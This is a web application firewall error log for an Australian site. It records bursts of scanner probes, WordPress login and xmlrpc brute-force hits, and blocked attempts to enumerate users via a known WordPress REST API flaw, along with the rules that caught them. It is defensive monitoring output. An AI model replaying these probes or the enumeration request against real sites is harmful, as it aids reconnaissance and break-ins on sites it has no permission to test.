[Sat Feb 21 13:22:10.942965 2026] [:error] [pid 40756:tid 40775] [client 217.182.195.179:49272] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZlBAgNlDP60sLYgqXJ2hAAAAAk"]
[Sat Feb 21 13:22:13.435450 2026] [:error] [pid 40757:tid 40807] [client 217.182.195.179:49286] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZlBBag_MKVL7zhH7dzMNAAAAEw"]
[Sat Feb 21 13:22:15.946042 2026] [:error] [pid 40756:tid 40790] [client 217.182.195.179:49290] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZlBBwNlDP60sLYgqXJ2iQAAABg"]
[Sat Feb 21 13:22:18.452769 2026] [:error] [pid 40756:tid 40778] [client 217.182.195.179:49308] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZlBCgNlDP60sLYgqXJ2jwAAAAw"]
[Sat Feb 21 13:22:45.450561 2026] [:error] [pid 40758:tid 40832] [client 217.182.195.179:52312] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZlBJUBAHxvBM3i9iKEnNQAAAIo"]
[Sat Feb 21 13:22:47.911579 2026] [:error] [pid 40758:tid 40837] [client 217.182.195.179:51148] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZlBJ0BAHxvBM3i9iKEnOwAAAI8"]
[Sat Feb 21 13:22:50.426307 2026] [:error] [pid 40756:tid 40780] [client 217.182.195.179:57662] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZlBKgNlDP60sLYgqXJ2vAAAAA4"]
[Sat Feb 21 13:22:52.899634 2026] [:error] [pid 40871:tid 40896] [client 217.182.195.179:57678] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZlBLDqDikjdiOZeJyVIdQAAANc"]
[Sat Feb 21 13:22:55.401092 2026] [:error] [pid 40756:tid 40781] [client 217.182.195.179:57700] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZlBLwNlDP60sLYgqXJ2xAAAAA8"]
[Sat Feb 21 13:22:57.914168 2026] [:error] [pid 22558:tid 22563] [client 217.182.195.179:57714] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZlBMSrVaIb2gXsVbDq0kAAAAQM"]
[Sat Feb 21 13:23:00.392670 2026] [:error] [pid 11941:tid 11946] [client 217.182.195.179:51122] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZlBNHTUkHs3EVWllKlGjgAAAYM"]
[Sat Feb 21 13:23:02.899929 2026] [:error] [pid 40758:tid 40845] [client 217.182.195.179:51136] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZlBNkBAHxvBM3i9iKEnQwAAAJc"]
[Sat Feb 21 13:23:05.401821 2026] [:error] [pid 40871:tid 40889] [client 217.182.195.179:51144] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZlBOTqDikjdiOZeJyVIhQAAANA"]
[Sat Feb 21 13:23:07.711950 2026] [:error] [pid 40758:tid 40828] [client 217.182.195.179:51166] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZlBO0BAHxvBM3i9iKEnRwAAAIY"]
[Sat Feb 21 13:23:10.198507 2026] [:error] [pid 40757:tid 40816] [client 217.182.195.179:60032] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZlBPqg_MKVL7zhH7dzMjQAAAFU"]
[Sat Feb 21 13:23:12.674213 2026] [:error] [pid 40758:tid 40844] [client 217.182.195.179:60036] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZlBQEBAHxvBM3i9iKEnTgAAAJY"]
[Sat Feb 21 13:23:15.017018 2026] [:error] [pid 40757:tid 40797] [client 217.182.195.179:60052] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZlBQ6g_MKVL7zhH7dzMmAAAAEI"]
[Sat Feb 21 13:23:17.553054 2026] [:error] [pid 40758:tid 40827] [client 217.182.195.179:60060] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZlBRUBAHxvBM3i9iKEnVAAAAIU"]
[Sat Feb 21 13:23:20.001163 2026] [:error] [pid 40756:tid 40780] [client 217.182.195.179:50756] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZlBRwNlDP60sLYgqXJ22AAAAA4"]
[Sat Feb 21 14:37:22.159514 2026] [:error] [pid 11941:tid 11966] [client 83.166.138.35:57404] [client 83.166.138.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.138.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZlSonTUkHs3EVWllKlhbAAAAZc"]
[Sat Feb 21 17:43:41.039267 2026] [:error] [pid 11941:tid 11951] [client 27.131.81.191:47196] [client 27.131.81.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 27.131.81.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZl-TXTUkHs3EVWllKmpyQAAAYg"]
[Sat Feb 21 17:49:23.262474 2026] [:error] [pid 11941:tid 11955] [client 212.36.76.11:40256] [client 212.36.76.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.36.76.11, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZl_o3TUkHs3EVWllKmrigAAAYw"]
[Sat Feb 21 18:05:46.078779 2026] [:error] [pid 40757:tid 40801] [client 20.195.27.48:36364] [client 20.195.27.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.195.27.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZmDeqg_MKVL7zhH7dwZ4QAAAEY"]
[Sat Feb 21 18:10:09.826465 2026] [:error] [pid 40871:tid 40894] [client 151.11.51.9:47158] [client 151.11.51.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.11.51.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZmEgTqDikjdiOZeJyWMQQAAANU"]
[Sat Feb 21 18:24:26.722564 2026] [:error] [pid 11941:tid 11965] [client 216.249.99.220:28436] [client 216.249.99.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.249.99.220, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZmH2nTUkHs3EVWllKm38wAAAZY"]
[Sat Feb 21 19:41:26.014716 2026] [:error] [pid 40871:tid 40881] [client 159.65.249.223:17630] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.249.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZmZ5jqDikjdiOZeJyWb0AAAAMg"]
[Sat Feb 21 19:49:05.295052 2026] [:error] [pid 11941:tid 11950] [client 45.228.210.14:57372] [client 45.228.210.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.228.210.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZmbsXTUkHs3EVWllKnJpgAAAYc"]
[Sat Feb 21 21:17:14.013108 2026] [:error] [pid 40756:tid 40788] [client 34.182.111.162:56723] [client 34.182.111.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.111.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZmwWgNlDP60sLYgqXLguQAAABY"]
[Sat Feb 21 21:17:17.239036 2026] [:error] [pid 40756:tid 40783] [client 34.182.111.162:56723] [client 34.182.111.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZmwXQNlDP60sLYgqXLgvAAAABE"]
[Sat Feb 21 21:17:19.375289 2026] [:error] [pid 40756:tid 40780] [client 34.182.111.162:56723] [client 34.182.111.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.111.162, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZmwXwNlDP60sLYgqXLgvwAAAA4"]
[Sat Feb 21 22:05:53.785144 2026] [:error] [pid 11743:tid 11766] [client 43.157.175.122:41994] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZm7wQALoZZjiTbGvqVE9AAAAVU"]
[Sat Feb 21 23:03:07.515130 2026] [:error] [pid 40756:tid 40766] [client 45.227.163.112:56396] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.227.163.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnJKwNlDP60sLYgqXLw3gAAAAA"]
[Sat Feb 21 23:44:54.298444 2026] [:error] [pid 53975:tid 54000] [client 195.201.212.247:50994] [client 195.201.212.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.212.247, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnS9teFesAKjJ7sq3Gn1QAAAlQ"]
[Sun Feb 22 00:02:52.231506 2026] [:error] [pid 22558:tid 22575] [client 45.61.187.196:20548] [client 45.61.187.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnXLCrVaIb2gXsVbDpLLwAAAQ8"]
[Sun Feb 22 00:05:48.824267 2026] [:error] [pid 53976:tid 54026] [client 45.61.187.196:43913] [client 45.61.187.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnX3NBEV5I20TLqUt7jwgAAApM"]
[Sun Feb 22 00:54:44.209845 2026] [:error] [pid 3204:tid 3485] [client 74.208.49.118:47688] [client 74.208.49.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.49.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnjVHAwnUMG8727rz4CnwAAAJM"]
[Sun Feb 22 00:57:54.166385 2026] [:error] [pid 4789:tid 4810] [client 34.148.78.207:61267] [client 34.148.78.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.78.207, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZnkEq9_231lp37V1xw3xAAAARM"]
[Sun Feb 22 00:57:57.146178 2026] [:error] [pid 4789:tid 4809] [client 34.148.78.207:61267] [client 34.148.78.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZnkFa9_231lp37V1xw3yQAAARI"]
[Sun Feb 22 00:57:59.517384 2026] [:error] [pid 4789:tid 4803] [client 34.148.78.207:61267] [client 34.148.78.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.78.207, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZnkF69_231lp37V1xw31QAAAQw"]
[Sun Feb 22 01:47:48.686389 2026] [:error] [pid 4789:tid 4799] [client 63.131.146.5:35186] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.131.146.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZnvxK9_231lp37V1xxRkAAAAQg"]
[Sun Feb 22 02:44:27.013314 2026] [:error] [pid 4789:tid 4796] [client 43.157.67.70:53884] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZn9C69_231lp37V1xxrXgAAAQU"]
[Sun Feb 22 04:04:46.818094 2026] [:error] [pid 10537:tid 10546] [client 18.232.181.222:51892] [client 18.232.181.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.232.181.222, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZoP3rgCiSojLQQBckjB-QAAAQc"]
[Sun Feb 22 05:43:27.540047 2026] [:error] [pid 10537:tid 10557] [client 172.232.57.249:44088] [client 172.232.57.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.232.57.249, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZom_7gCiSojLQQBckj3hQAAARI"]
[Sun Feb 22 05:47:11.265631 2026] [:error] [pid 9588:tid 9630] [client 91.226.10.36:33164] [client 91.226.10.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.226.10.36, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZon32jNBsxseiTcEllpIgAAAEY"]
[Sun Feb 22 07:14:34.535093 2026] [:error] [pid 12501:tid 12514] [client 101.33.66.34:50186] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZo8WpicztrbvinWGXPsCgAAAUs"]
[Sun Feb 22 14:04:04.037593 2026] [:error] [pid 17328:tid 17353] [client 43.138.68.113:51542] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZqcVCmytOXCmY4_PcbWbgAAAYM"]
[Sun Feb 22 17:32:32.549007 2026] [:error] [pid 9588:tid 9634] [client 34.182.94.104:54199] [client 34.182.94.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.94.104, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZrNMGjNBsxseiTcElk7fgAAAEo"]
[Sun Feb 22 17:32:35.447959 2026] [:error] [pid 9588:tid 9635] [client 34.182.94.104:54199] [client 34.182.94.104] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZrNM2jNBsxseiTcElk7gwAAAEs"]
[Sun Feb 22 17:32:38.857863 2026] [:error] [pid 9588:tid 9644] [client 34.182.94.104:54199] [client 34.182.94.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.94.104, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZrNNmjNBsxseiTcElk7iQAAAFQ"]
[Sun Feb 22 18:43:58.913839 2026] [:error] [pid 12501:tid 12513] [client 173.252.87.8:37776] [client 173.252.87.8] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.131.195.225_82aa6a482bd276cff149740478a603a5fe834840"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aZrd6picztrbvinWGXPgIQAAAUo"]
[Sun Feb 22 20:14:53.535116 2026] [:error] [pid 2762:tid 2837] [client 60.188.57.0:55178] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZrzPX0XaxeZ1xx2EW9hhgAAAJM"]
[Sun Feb 22 21:48:05.212633 2026] [proxy_fcgi:error] [pid 2473:tid 2499] (70007)The timeout specified has expired: [client 3.77.67.4:59296] AH01075: Error dispatching request to : (polling), referer: https://vetstars.com.au/
[Sun Feb 22 22:45:02.922199 2026] [:error] [pid 3103:tid 3118] [client 37.187.226.30:49398] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZsWbpfzX5hBIaQY93NmFAAAAYw"]
[Sun Feb 22 22:45:05.341745 2026] [:error] [pid 2629:tid 2672] [client 37.187.226.30:55922] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZsWcQlsXSV5M4mfwZ9BzQAAAU4"]
